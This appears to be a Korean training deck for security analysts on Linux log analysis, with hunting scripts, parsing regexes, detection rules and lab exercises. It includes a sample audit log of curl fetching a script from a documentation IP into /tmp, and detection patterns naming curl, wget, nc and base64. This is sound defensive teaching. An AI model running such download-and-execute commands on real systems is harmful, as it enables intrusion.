    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    위협 헌팅: Alert를 기다리지 말고 먼저 찾아라
    Alert는 탐지 룰이 없으면 울리지 않는다 — 헌터는 룰 없이도 이상 징후를 찾는 사람이다
    분석
    🔄 위협 헌팅 사이클
    가설 수립
    "이 환경에서 공격자가 숨을 곳은?"
    ATT&CK 기반, TI 활용
    데이터 수집
    관련 로그/텔레메트리 선택
    auditd, SIEM, EDR
    분석·조사
    이상 패턴 탐색
    쿼리, 시각화, 통계
    발견 시 조치
    Incident 처리 또는 룰 생성
    IR 연계 또는 탐지 룰 추가
    💡 Linux 환경 헌팅 가설 예시
    가설 1: 공격자가 이미 내부 서버에서 크립토마이너를 돌리고 있다
    → /tmp 실행 파일 + 외부 연결 + CPU 90%+ 확인
    가설 2: 정상 서비스 계정이 실제로 사람이 사용하고 있다
    → 서비스 계정의 대화형 세션(pts) 로그인 확인
    가설 3: 알려지지 않은 SSH 키가 authorized_keys에 있다
    → 모든 서버 authorized_keys 스캔 + 미등록 키 비교
    보강 설명위협 헌팅: Alert를 기다리지 말고 먼저 찾아라 슬라이드는 Alert는 탐지 룰이 없으면 울리지 않는다 — 헌터는 룰 없이도 이상 징후를 찾는 사람이다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    실전 헌팅: 숨겨진 Persistence 탐색
    공격자는 재진입 경로를 반드시 만든다 — 모든 지속성 위치를 체계적으로 점검하라
    실습
    #!/bin/bash # persistence_hunt.sh
    echo "=== 1. Cron 점검 ==="
    for u in $(cut -d: -f1 /etc/passwd); do crontab -u $u -l 2>/dev/null | grep -v '^#' | sed "s/^/[$u] /"; done
    ls /etc/cron.* /var/spool/cron/ 2>/dev/null
    echo "=== 2. 신규 systemd 서비스 (30일 이내) ==="
    find /etc/systemd/system/ -name "*.service" -newer /etc/hostname -ls 2>/dev/null
    echo "=== 3. authorized_keys 전수 조사 ==="
    find /home /root -name "authorized_keys" -exec echo {} \; -exec cat {} \; 2>/dev/null
    echo "=== 4. /tmp /dev/shm 실행 파일 ==="
    find /tmp /dev/shm /var/tmp -perm /111 -type f -ls 2>/dev/null
    echo "=== 5. sudoers 이상 설정 ==="
    grep -v '^#\|^$' /etc/sudoers /etc/sudoers.d/* 2>/dev/null | grep NOPASSWD
    echo "=== 6. bash profile 변조 ==="
    for f in /root/.bashrc /root/.bash_profile /etc/profile.d/*.sh; do
    echo "--- $f ---"; grep -E "curl|wget|nc|base64" "$f" 2>/dev/null; done
    이 스크립트를 주 1회 cron으로 실행하고 결과를 이전 주와 diff 비교하면 — 신규 지속성 설치를 자동으로 탐지할 수 있다
    현장 즉시 사용 명령어 원페이저
    인쇄해서 책상에 붙여두세요 — 사건 발생 시 당황하지 않도록
    분석
    🔴 인증 분석
    grep "Failed\|Accepted" /var/log/auth.log | tail -50
    grep "Accepted" /var/log/auth.log | awk '{print $9,$11}' | sort | uniq -c | sort -rn
    last -F | head -20
    lastb | head -20
    🟡 프로세스 분석
    ps auxf | grep -v "]\s*$"
    find /tmp /dev/shm -perm /111 -type f -ls
    ls -la /proc/*/exe 2>/dev/null | grep deleted
    ausearch -sc execve -ts today -i | grep "/tmp\|/dev/shm"
    🔵 네트워크 분석
    ss -tnp state established | grep -v "127\.\|10\.\|192\.168\."
    lsof -i | grep ESTABLISHED
    netstat -anp | grep LISTEN
    ✅ 지속성 점검
    crontab -l -u root
    find /etc/cron* /var/spool/cron -type f -ls
    find /etc/systemd/system -name "*.service" -newer /etc/hostname
    grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/
    🔷 auditd 분석
    ausearch -k tmp_exec -ts today -i
    ausearch -ua root -ts today -i | head -30
    aureport --auth --summary -ts today
    aureport --executable --summary | head -10
    🆘 즉시 격리 명령
    # 네트워크 차단 (iptables)
    iptables -I INPUT -s 198.51.100.23 -j DROP
    iptables -I OUTPUT -d 198.51.100.23 -j DROP
    # 계정 잠금
    usermod -L username
    Linux 로그 분석 프레임워크 전체 요약
    Alert 접수부터 보고서 제출까지 — 이 흐름을 따르면 체계적인 분석이 가능하다
    개념
    1단계: 초기 파악 (5분)
    어떤 서버 · 어떤 계정 · 발생 시간 · 승인 이력 · 출발지 IP 성격
    2단계: 맥락 수집 (10분)
    auth + sudo + auditd 3소스 교차 · 같은 IP 다른 서버 · 네트워크 연결
    3단계: 타임라인 재구성 (10분)
    시간순 정렬 · 공격 체인 연결 · 초기침투→권한→지속성→목적
    4단계: Verdict 결정 (5분)
    정상/모니터/의심/Incident 등급 · 에스컬레이션 여부 · 긴급도
    5단계: 조치 실행
    격리 · 차단 · 계정 잠금 · 증거 보전 · IR 연계
    6단계: 보고 · 개선
    판단문 작성 · IOC 추출 · 탐지 룰 추가 · 재발 방지 권고
    보강 설명마지막으로 배운 모든 내용을 하나의 분석 프레임워크로 정리합니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    프레임워크분석 절차체계
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    PART 29
    전문가 로그 파싱 & 정규식 실전
    Grok 패턴 · Python 파싱 · 멀티라인 · 비정형 로그 정규화 · 파이프라인 설계
    ⏱ 60분 | 심화 실전
    보강 설명전문가 로그 파싱 & 정규식 실전 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    파싱정규식Grok
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    파싱이 틀리면 탐지도 틀린다
    src_ip 필드가 비어 있으면 IP 기반 탐지 룰은 전혀 작동하지 않는다 — 파싱은 탐지의 기반이다
    주의
    🔍 파싱 오류가 만드는 탐지 공백
    # 원본 auth.log
    Feb 14 02:06:01 web01 sshd[4501]: Accepted password
    for admin from 198.51.100.23 port 51234 ssh2
    # ❌ 잘못된 파싱 결과
    message: "Accepted password for admin from 198..."
    user: null src_ip: null outcome: null
    # ✅ 올바른 파싱 결과
    event.outcome: "success"
    user.name: "admin"
    source.ip: "198.51.100.23"
    source.port: 51234
    📊 파싱 품질 체크리스트
    타임스탬프가 표준 ISO 8601로 파싱되는가
    호스트명이 일관되게 추출되는가
    사용자명, 소스 IP 필드가 채워지는가
    프로세스명, PID 분리 추출되는가
    성공/실패 outcome 필드 정규화 여부
    멀티라인 로그(auditd)가 한 이벤트로 합쳐지는가
    예외 패턴(비정형 로그)이 오파싱되지 않는가
    팁: SIEM 도입 후 첫 1주일은 파싱 검증에만 써야 한다 — 나중에 고치면 수천 개 룰을 다시 써야 함
    보안 분석에 꼭 필요한 정규식 패턴 10가지
    IP 주소, 타임스탬프, 사용자명, 경로 — 이 4가지만 추출할 수 있으면 80%의 로그를 파싱할 수 있다
    명령어
    🔧 핵심 정규식 패턴
    # IPv4 주소
    (?P<ip>\b(?:\d{1,3}\.){3}\d{1,3}\b)
    # syslog 타임스탬프
    (?P<ts>\w{3}\s+\d{1,2}\s\d{2}:\d{2}:\d{2})
    # 사용자명 (auth.log)
    (?:for|user)\s+(?P<user>\S+)
    # 파일 경로
    (?P<path>/(?:[^/\s]+/)*[^/\s]*)
    # auditd key=value 파싱
    (?P<key>\w+)=(?:"(?P<val>[^"]*)"|\S+)
    # sudo 명령어 추출
    COMMAND=(?P<cmd>[^\n;]+)
    🐍 Python으로 auth.log 파싱
    import re
    PATTERN = re.compile(
    r'(?P<ts>\w+ \d+ \d+:\d+:\d+)\s+'
    r'(?P<host>\S+)\s+sshd\[\d+\]:\s+'
    r'(?P<outcome>Accepted|Failed)\s+\w+\s+'
    r'for\s+(?P<user>\S+)\s+'
    r'from\s+(?P<ip>[\d.]+)'
    )
    with open('/var/log/auth.log') as f:
    for line in f:
    m = PATTERN.search(line)
    if m:
    print(m.groupdict())
    # → {'ts':'Feb 14 02:06:01', 'host':'web01',
    # 'outcome':'Accepted', 'user':'admin',
    # 'ip':'198.51.100.23'}
    auditd 멀티라인 파싱: 하나의 이벤트를 재조합하는 방법
    type=SYSCALL + type=EXECVE + type=CWD + type=PATH — 같은 audit ID의 레코드를 묶어야 완전한 이벤트다
    분석
    📋 auditd 이벤트 구조
    # 같은 audit ID = 같은 이벤트
    type=SYSCALL msg=audit(1707874143.123:411):
    arch=x86_64 syscall=execve success=yes
    pid=12345 ppid=12340 uid=0 auid=1001
    comm="curl" exe="/usr/bin/curl"
    type=EXECVE msg=audit(1707874143.123:411):
    argc=5 a0="curl" a1="-fsSL"
    a2="http://203.0.113.10/a.sh"
    a3="-o" a4="/tmp/a.sh"
    type=CWD msg=audit(1707874143.123:411):
    cwd="/root"
    # ↑ 세 레코드 모두 1707874143.123:411 → 한 이벤트
    🐍 audit ID 기반 이벤트 조합
    from collections import defaultdict
    import re
    events = defaultdict(list)
    with open('/var/log/audit/audit.log') as f:
    for line in f:
    m = re.search(r'msg=audit\(([^)]+)\)', line)
    if m:
    audit_id = m.group(1) # "ts:serial"
    events[audit_id].append(line.strip())
    # EXECVE가 있는 이벤트만 처리
    for aid, records in events.items():
    types = [r.split()[0] for r in records]
    if 'type=EXECVE' in types:
    process_event(aid, records)
    ausearch -i는 이 조합을 자동으로 해준다 — 직접 파싱 시에는 반드시 같은 audit ID를 묶어야 정확한 명령라인이 재조합된다
    Grok 패턴으로 로그 파싱 파이프라인 구축
    정규식을 이름으로 추상화한 Grok — Logstash·Elastic에서 로그 파싱의 표준 방식
    명령어
    📝 Grok 기본 문법
    # %{패턴명:필드명} 형식
    # auth.log SSH 성공 로그 파싱
    %{SYSLOGTIMESTAMP:timestamp} %{HOSTNAME:host}
    sshd\[%{POSINT:pid}\]:
    %{WORD:outcome} password for %{USER:username}
    from %{IP:src_ip} port %{POSINT:src_port}
    # 결과:
    {
    "timestamp": "Feb 14 02:06:01",
    "host": "web01",
    "outcome": "Accepted",
    "username": "admin",
    "src_ip": "198.51.100.23"
    }
    🔧 자주 쓰는 Grok 패턴명
    패턴명매칭 내용
    IPIPv4 또는 IPv6 주소
    HOSTNAME호스트명
    USER사용자명
    POSINT양의 정수 (PID, 포트)
    WORD공백 없는 단어
    SYSLOGTIMESTAMPsyslog 타임스탬프
    UNIXPATH파일 경로
    GREEDYDATA나머지 모두
    테스트 도구: grokdebugger.com 또는 Kibana의 Grok Debugger — 파싱 전에 반드시 테스트
    실습: Python으로 나만의 SSH 로그 분석기 만들기
    파싱 → 집계 → 이상 탐지 → 리포트 — 30줄로 완성하는 SOC 미니 도구
    실습
    #!/usr/bin/env python3
    import re, sys
    from collections import defaultdict, Counter
    FAIL_PAT = re.compile(r'Failed password for (\S+) from ([\d.]+)')
    SUCC_PAT = re.compile(r'Accepted \w+ for (\S+) from ([\d.]+)')
    fail_by_ip = Counter(); fail_by_user = Counter()
    success = []; brute_then_success = []
    # --- 로그 파싱 ---
    with open(sys.argv[1] if len(sys.argv)>1 else '/var/log/auth.log') as f:
    for line in f:
    m = FAIL_PAT.search(line)
    if m: fail_by_ip[m.group(2)] += 1; fail_by_user[m.group(1)] += 1
    m = SUCC_PAT.search(line)
    if m: success.append((m.group(2), m.group(1), line[:15]))
    # --- 이상 탐지 ---
    for ip, cnt in fail_by_ip.items():
    if cnt >= 10: # 임계값
    for s_ip, s_user, s_time in success:
    if s_ip == ip:
    brute_then_success.append((ip, cnt, s_user, s_time))
    # --- 리포트 출력 ---
    print(f"=== 브루트포스 후 성공: {len(brute_then_success)}건 ===")
    for ip, cnt, user, ts in sorted(brute_then_success, key=lambda x:-x[1]):
    print(f" 🔴 {ip}: {cnt}회 실패 → {user} 로그인 성공 ({ts})")
    실행: python3 ssh_analyzer.py /var/log/auth.log — 이 스크립트를 cron에 등록하면 매일 자동 리포트 생성
    JSON 구조화 로그 처리: jq와 Python json
    클라우드 · 컨테이너 환경에서는 JSON 로그가 표준 — jq 하나로 grep/awk의 90%를 대체한다
    명령어
    🔧 jq 핵심 문법
    # 특정 필드 추출
    jq '.message' app.log.json
    # 여러 필드 선택
    jq '{ts:.timestamp, user:.user.name, ip:.source.ip}' log.json
    # 조건 필터링
    jq 'select(.event.outcome=="failure")' log.json
    # IP별 실패 카운트
    jq -r '.source.ip' log.json | sort | uniq -c | sort -rn
    # journald JSON 출력 처리
    journalctl -u sshd -o json | jq '.MESSAGE'
    # 특정 시간 이후만
    jq 'select(.__REALTIME_TIMESTAMP > "1707870000")'
    🐍 Python json으로 처리
    import json, sys
    # ECS 형식 JSON 로그 처리
    alerts = []
    for line in open('siem_events.json'):
    try:
    e = json.loads(line)
    except json.JSONDecodeError:
    continue # 비 JSON 라인 스킵
    # 중첩 필드 안전 접근
    src_ip = e.get('source', {}).get('ip', 'unknown')
    outcome = e.get('event', {}).get('outcome')
    proc = e.get('process', {}).get('executable', '')
    if outcome == 'success' and '/tmp' in proc:
    alerts.append({'ip': src_ip, 'proc': proc})
    print(f"🚨 /tmp 실행 {len(alerts)}건")
    PART 30
    행위 기반 탐지 설계
    IOA 개념 · 베이스라인 구축 · 통계적 이상 탐지 · 클러스터링 기반 · 현장 적용
    ⏱ 55분 | 전문가 과정
    보강 설명행위 기반 탐지 설계 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    행위 기반IOA베이스라인
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    IOC vs IOA: 탐지 전략의 근본적 차이
    IOC는 알려진 적의 발자국 — IOA는 적의 행동 패턴 자체 — IOA가 더 오래가고 강력하다
    개념
    🔍 IOC 기반 탐지
    # 알려진 악성 IP 차단
    source.ip: "45.33.32.156"
    # 알려진 악성 파일 해시
    file.hash.md5: "a1b2c3d4..."
    한계: 공격자가 IP를 바꾸거나 파일을 약간 수정하면 즉시 우회 가능.
    IOC의 평균 유효 기간: 수 시간 ~ 수일
    🎯 IOA 기반 탐지
    # 행동 패턴: 다운로드→/tmp→실행
    process.executable:"/tmp/*" AND
    process.parent.name:("curl" OR "wget")
    장점: IP나 파일이 바뀌어도 행동 패턴은 그대로.
    IOA의 평균 유효 기간: 수개월 ~ 수년
    💡 전략 원칙
    IOC는 빠른 차단에, IOA는 지속적 탐지에 사용하라 — 성숙한 SOC는 두 가지를 병행한다
    보강 설명IOC는 이미 알려진 침해 흔적이고, IOA는 공격 행동 자체입니다. IOA 기반 탐지는 새로운 도구를 써도 같은 행동 패턴이면 탐지됩니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    IOCIOA행동 기반
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    베이스라인 구축: "평소에는 어떤가?"를 수치로 정의하라
    베이스라인이 없으면 이상이 무엇인지 정의할 수 없다 — 환경마다 다른 정상을 측정하는 것이 출발점
    분석
    📊 베이스라인 수집 항목
    인증: 계정별 평균 로그인 횟수, 시간대, 출발지 IP 대역
    프로세스: 서버 역할별 정상 실행 프로세스 목록
    네트워크: 서버별 정상 연결 대상 IP/포트/프로토콜
    파일 접근: 주요 설정 파일 수정 주기와 수정자
    sudo: 계정별 sudo 명령 종류와 빈도
    🐍 Splunk SPL로 베이스라인 계산
    # 계정별 시간대별 로그인 베이스라인 (30일)
    index=linux_logs earliest=-30d@d latest=-1d@d
    | eval hour=strftime(_time, "%H")
    | stats avg(count) as baseline_avg
    stdev(count) as baseline_std
    by user, hour
    # 오늘 데이터와 비교 (Z-score)
    | eval z_score = (today_count - baseline_avg)
    / baseline_std
    | where z_score > 3 # 3σ 이상 = 이상
    Z-score > 3 = 정규분포에서 0.1% 이하 확률 사건 — 이 이벤트는 "통계적으로 이상하다"는 의미
    피벗 분석: 하나의 단서에서 전체 그림을 그리는 기술
    IP 하나에서 시작해서 → 연관 계정 → 연관 서버 → 연관 파일 → 침해 전체 범위를 파악한다
    분석
    🔄 피벗 분석 연쇄 흐름
    단서 1
    의심 IP: 198.51.100.23
    어떤 계정에 접근했나?
    피벗 1
    → admin 계정 성공 로그인
    이 계정이 다른 어디로 갔나?
    피벗 2
    → admin이 db01에도 접속
    db01에서 뭘 했나?
    피벗 3
    → db01에서 mysqldump 실행
    덤프 파일 어디로 갔나?
    결론
    → scp로 외부 전송 확인
    침해 범위 = web01+db01+DB전체
    🔍 피벗 포인트별 SIEM 쿼리
    # IP에서 계정으로 피벗
    source.ip:"198.51.100.23" AND event.outcome:"success"
    → user.name 목록 확인
    # 계정에서 서버로 피벗
    user.name:"admin" AND event.action:"ssh_login_success"
    → host.name 목록 확인
    # 서버에서 프로세스로 피벗
    host.name:"db01" AND user.name:"admin"
    → process.name, process.args 확인
    # 파일에서 전송으로 피벗
    process.name:("scp","rsync","curl") AND host.name:"db01"
    Diamond Model: 침해 분석의 구조적 프레임워크
    로그에서 추출한 정보를 4개 꼭짓점으로 정리하면 공격자의 전체 그림이 보인다
    개념
    💎 다이아몬드 모델 4요소
    Adversary (공격자)
    동기·기술 수준·귀속 가능성 → 로그로 직접 확인은 어렵지만 TTP 패턴으로 추정
    Infrastructure (인프라)
    C2 IP/도메인, 사용 서비스 → 로그에서 직접 확인 가능한 IOC
    Capability (역량)
    사용 도구·기법·취약점 → auditd execve, MITRE T코드로 분류
    Victim (피해자)
    어떤 시스템·계정·데이터 → 침해 범위 파악의 핵심
    📋 Linux 로그 → Diamond 매핑
    로그에서 확인Diamond 요소
    C2 IP/도메인Infrastructure
    curl/wget URLInfrastructure
    bash -c 역쉘 코드Capability
    auditd EXECVE 명령어Capability
    침해된 서버/계정Victim
    MITRE T코드 분류Capability
    실습: 나만의 탐지 룰 설계 워크시트
    다음 공격 시나리오에 대한 탐지 룰을 KQL과 Sigma 형식으로 각각 작성하시오
    실습
    🎯 시나리오
    탐지 목표 (T1053.003 — Cron Persistence):
    root crontab에 외부 URL을 호출하는 명령이 추가되는 행위
    작성 항목:
    1. 어떤 로그 소스가 필요한가?
    2. 어떤 필드와 값을 조건으로 사용할 것인가?
    3. 예상되는 오탐 케이스는 무엇인가?
    4. 정상 예외(화이트리스트) 처리 방법은?
    5. Severity는 HIGH/MEDIUM/LOW 중 무엇인가? 이유는?
    ✅ 모범 답안 힌트
    # KQL 쿼리 (Elastic)
    process.name:"crontab" AND
    user.name:"root" AND
    process.args:("-e" OR "-r")
    OR
    file.path:"/var/spool/cron/root" AND
    event.action:"file_modified" AND
    file.content:("curl" OR "wget") AND
    file.content:("http" OR "https")
    # 정상 예외: 알려진 배포 서버 IP
    AND NOT file.content:"10.0.1.100"
    Severity: HIGH — root context + 외부 URL + cron = 지속성 설치 확실
    탐지 커버리지 갭 분석: 우리가 못 잡는 것은 무엇인가
    ATT&CK 기법 전체 중 우리 탐지 룰이 커버하는 비율이 보안 성숙도의 척도다
    분석
    📊 Linux 관련 ATT&CK 커버리지 예시
    기법 (T코드)탐지 가능?로그 소스
    T1110.001 SSH 브루트포스✅ 있음auth.log
    T1548.003 sudo 남용✅ 있음sudo log
    T1053.003 Cron✅ 있음auditd FIM
    T1059.004 Unix Shell⚠️ 부분auditd (미설정)
    T1027 난독화❌ 없음콘텐츠 검사 필요
    T1014 루트킷❌ 없음전용 도구 필요
    T1071.004 DNS 터널링❌ 없음DNS 로그 수집 필요
    🗺️ 커버리지 향상 로드맵
    Phase 1
    초기 침투 탐지 강화 (T1110, T1078)
    auth.log 기반 — 즉시 가능
    Phase 2
    실행·지속성 탐지 (T1059, T1053)
    auditd 규칙 추가
    Phase 3
    C2·데이터 유출 탐지 (T1071)
    네트워크 로그 통합
    Phase 4
    이상·난독화 탐지 (T1027)
    EDR 도입 또는 YARA 룰
    PART 31
    실전 로그 데이터 분석 실습
    전체 로그 파일 분석 · 명령줄 도구 실습 · 타임라인 재구성 · 최종 보고서 작성
    ⏱ 90분 | 핵심 실습
    보강 설명실전 로그 데이터 분석 실습 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    실습실제 로그종합 분석
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    실습 환경 구성 및 준비
    오늘 실습에서 사용할 환경과 파일을 확인하고, 기본 명령어가 동작하는지 검증한다
    실습
    📁 실습 파일 구조
    # 실습 디렉토리 구조
    ~/lab/
    ├── logs/
    │ ├── auth.log (SSH 인증 로그)
    │ ├── syslog (시스템 로그)
    │ ├── audit.log (auditd 로그)
    │ └── nginx_access.log (웹 접근 로그)
    ├── scripts/
    │ ├── ssh_analyzer.py
    │ └── ioc_extractor.sh
    └── answers/ # 강사 확인 후 오픈
    ✅ 환경 검증 명령어
    # 파일 확인
    ls -la ~/lab/logs/
    # 도구 확인
    which grep awk sed sort python3 jq ausearch
    # auth.log 첫 10줄 확인
    head -10 ~/lab/logs/auth.log
    # 전체 줄 수 확인
    wc -l ~/lab/logs/*.log
    # 날짜 범위 확인
    head -1 ~/lab/logs/auth.log; tail -1 ~/lab/logs/auth.log
    실습 로그는 실제 침해 시나리오를 기반으로 제작된 샘플입니다. 실제와 최대한 유사하게 구성되었으며, 답이 하나가 아닌 케이스도 포함되어 있습니다.
    실습 Step 1: auth.log — SSH 인증 패턴 분석
    아래 명령어를 순서대로 실행하고 결과를 분석 노트에 기록하시오
    실습
    🔧 실행할 명령어
    # ① 전체 로그인 성공/실패 통계
    grep -cE "Accepted|Failed" ~/lab/logs/auth.log
    # ② 공격 소스 IP 상위 10개
    grep "Failed" ~/lab/logs/auth.log \
    | grep -oP 'from \K[\d.]+' \
    | sort | uniq -c | sort -rn | head -10
    # ③ 성공 로그인 목록
    grep "Accepted" ~/lab/logs/auth.log \
    | awk '{print $1,$2,$3, $9, "from", $11}'
    # ④ 브루트포스 후 성공 IP 찾기
    python3 ~/lab/scripts/ssh_analyzer.py \
    ~/lab/logs/auth.log
    📝 분석 노트 작성 양식
    Step 1 결과 기록
    로그 기간
    [확인한 날짜 범위 기록]
    총 실패 수
    [① 실행 결과]
    상위 공격 IP
    [② 결과 상위 3개]
    성공 로그인
    [③ 몇 건, 어떤 계정?]
    브루트→성공
    [④ 몇 건? 어떤 IP?]
    결과를 보고 "이게 정상인가, 이상인가?"를 판단하는 것이 핵심. 숫자만 기록하면 실습의 50%만 한 것.
    실습 Step 2: audit.log — 의심 프로세스 실행 추적
    ausearch로 /tmp 실행 파일과 외부 다운로드 명령어를 찾아라
    실습
    🔧 auditd 실습 명령어
    # ① /tmp 실행 파일 탐색
    grep -A 3 "EXECVE" ~/lab/logs/audit.log \
    | grep -E '"/tmp|/dev/shm'
    # ② curl/wget 명령 추출
    grep "EXECVE" ~/lab/logs/audit.log \
    | grep -E '"curl"|"wget"' \
    | head -20
    # ③ root 실행 execve (uid=0)
    grep "SYSCALL" ~/lab/logs/audit.log \
    | grep "uid=0" | grep "execve" | wc -l
    # ④ auid=1001인 사용자 행동 전체
    grep "auid=1001" ~/lab/logs/audit.log \
    | grep "EXECVE" \
    | awk -F'a0=' '{print $2}' | tr -d '"' | sort -u
    🎯 확인할 질문
    Q1./tmp에서 실행된 파일이 있는가? 파일명은?
    Q2.curl이 호출한 외부 URL은 무엇인가?
    Q3.auid=1001 사용자가 실행한 의심 명령어는?
    Q4.Step 1 결과와 연결했을 때 공격 흐름은?
    💡 타임스탬프로 auth.log와 audit.log를 연결하면 전체 그림이 보인다
    실습 Step 3: 멀티 소스 타임라인 재구성
    auth.log + audit.log + syslog를 시간순으로 정렬하여 공격 체인을 완성하라
    실습
    # 여러 로그를 병합하여 시간순 정렬
    grep -h "Feb 14 02:" \
    ~/lab/logs/auth.log \
    ~/lab/logs/syslog | \
    sort -k3,3 | \
    grep -E "Accepted|Failed|sudo|EXECVE|cron|useradd|curl|wget"
    # auditd 타임스탬프를 같은 형식으로 변환해서 병합
    awk '/SYSCALL/{ts=$3; sub(/msg=audit\(/,"",ts); sub(/:.*/,"",ts);
    printf "%.0f %s\n", ts, $0}' ~/lab/logs/audit.log | \
    sort -n | awk '{$1=""; print}' | \
    grep -E "execve|sudo|curl|/tmp" | head -30
    📋 타임라인 템플릿
    시간 소스 이벤트
    ??:??auth.log[기록]
    ??:??auditd[기록]
    ??:??syslog[기록]
    목표: 최소 5개 이벤트를 시간순으로 연결하여 "초기 침투 → 권한 상승 → 실행 → 지속성 → 목적 달성" 단계를 채울 것
    힌트: 타임스탬프 형식이 다를 경우 먼저 초 단위로 변환하거나, 같은 분(minute) 단위로 묶어서 비교한다
    실습 Step 4: 최종 판단문 & 보고서 초안 작성
    Step 1~3에서 수집한 정보를 종합하여 운영팀이 바로 행동할 수 있는 판단문을 완성하라
    실습
    최종 판단문 작성 양식
    사건 요약
    Who(계정) + What(행동) + When(시간) + Where(서버) — 2문장 이내
    침해 근거
    로그 원문을 직접 인용하여 3가지 이상 나열
    영향 범위
    침해된 서버, 계정, 데이터 — 확인된 것과 불확실한 것 구분
    추가 확인
    아직 모르는 것: 어떤 명령으로 무엇을 더 확인할 것인가
    Verdict
    정상 / 모니터링 / 의심 / 🔴 Incident — 이유 포함
    즉시 조치
    지금 당장 해야 할 것 3가지 — 담당자, 방법, 검증 방법
    IOC 목록
    IP / 파일경로 / 계정명 / 도메인 — 차단에 사용할 수 있는 형태로
    평가 기준: 근거의 명확성(40%) + 영향 범위 정확도(30%) + 조치의 실행 가능성(30%) — 판단의 정확도는 보조 기준
    보강 설명실습의 마지막 단계입니다. 수집한 모든 정보를 종합하여 운영 가능한 판단문을 작성합니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    판단문최종 보고실습 마무리
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
